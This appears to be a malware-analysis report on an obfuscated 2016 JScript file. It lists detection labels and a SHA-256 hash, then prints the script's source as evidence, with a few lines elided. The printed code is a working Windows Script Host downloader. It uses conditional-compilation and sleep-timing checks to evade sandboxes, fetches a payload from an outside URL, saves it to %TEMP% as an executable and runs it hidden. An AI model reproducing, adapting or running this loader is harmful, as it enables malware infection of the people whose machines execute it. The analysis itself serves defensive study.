20160328_cdbc935593c14aab5bb6e11864b000a0.js
Downloads and executes remote payload
JScript conditional sleep jitter evasionWScript bracket-member access in source text
SHA-256aae89ca97580a8e307b88d818142676f108ec016d5d1130ac4331d6555b096eb
Evidence
1var Qrpkttyodf = false;
2var Bnucm = "CreateObject";
3var Rotqw = function Kpdvbgtf() {return WScript[Bnucm]("WScript.Shell");}();
4var Wzowlw = 123213;
5var Erroyzof = "MSXML2.XMLHTTP";
6var Znxmliwpeg = 2123213;
7var Tknzpq = 0;
8function Nbbaf(Igegjdkne){Rotqw["Run"](Igegjdkne, Tknzpq, Tknzpq);};
9function Nxbwitklc(){return Erroyzof;};
10function Lzhlrh(Zqdrmdujs, Sjiblklyx){return Zqdrmdujs - Sjiblklyx;};
11function Nhwpebjm(){return Bnucm;};
12/*@cc_on
13 @if (@_win32 || @_win64)
14 Qrpkttyodf = true;
15 @end
16@*/
17var Ljowplm = "";
18if (Qrpkttyodf)
19{
20function Jxzygjal(){return 22;};
21var Nsntyohmg = 0; var Yqashik = 0;
22function Nijusvxiwt()
23{
24var Uykhgizwe = new this["Date"]();
25var Yseiumysm = Uykhgizwe["getUTCMilliseconds"]();
26WScript["Sleep"](Jxzygjal());
27var Uykhgizwe = new this["Date"]();
28var Qxbzuncfs = Uykhgizwe["getUTCMilliseconds"]();
29WScript["Sleep"](Jxzygjal());
30var Uykhgizwe = new this["Date"]();
31var Hlcuwvvpsh = Uykhgizwe["getUTCMilliseconds"]();
32var Nsntyohmg = "Zrnwvuvqgr";
33Nsntyohmg = Lzhlrh(Qxbzuncfs, Yseiumysm);
34var Yqashik = "Iidwkp";
35Yqashik = Lzhlrh(Hlcuwvvpsh, Qxbzuncfs);
36Ljowplm = "open";
37return Lzhlrh(Nsntyohmg, Yqashik);
38}
39var Zjatrt = false;
40var Nvfplaik = false;
41for (var Cwqtpwyh = Tknzpq; Cwqtpwyh < Jxzygjal() * 1; Cwqtpwyh++){if (Nijusvxiwt() != Tknzpq){
42Zjat …
49:5… Zjatrt && Nzdsxn() && Nvfplaik){
50function Ndfckgogst() {return Rotqw["ExpandEnvironmentStrings"]("%TEMP%/") + "CgxU1kdizooqmtwz.exe";};
51 Mpaqgwevl = Nxbwitklc();
52 Cgpoe = WScript[Bnucm](Mpaqgwevl);
53 var Vthmayazqr = 1;
54 while (Vthmayazqr){
55try {
56Cgpoe[Ljowplm]("GET", "http://www.stopeugenicsnow.eu/m8dhs", false);
57Cgpoe["send"]();
58Yhqqcotrzc = "Sleep";
59do {WScript[Yhqqcotrzc](Jxzygjal() * 11)} while (Cgpoe["readystate"] < 4 );
60Vthmayazqr = Tknzpq;
61} catch(Rjiygawotw){Vthmayazqr = ("asdfa", "fadfasdf", "afdafa", 2);};
62}
63function Ggqpqfhch(Xwzbukamtm) {var Ajavyh = (1, 2, 3, 4, 5, Xwzbukamtm); return Ajavyh;};
64Umolesy = WScript[Nhwpebjm()]("ADODB.Stream");
65Mpaqgwevl = Umolesy;
66Mpaqgwevl[Ljowplm]();
67Mpaqgwevl["type"] = Ggqpqfhch(1);
68Mpaqgwevl["write"](Cgpoe["ResponseBody"]);
69Umolesy["position"] = Ggqpqfhch(Tknzpq);
70Mpaqgwevl["SaveToFile"](Ndfckgogst(), Ggqpqfhch(2) );
71Umolesy["close"]();
72Nbbaf(Ndfckgogst());
73}
74}
75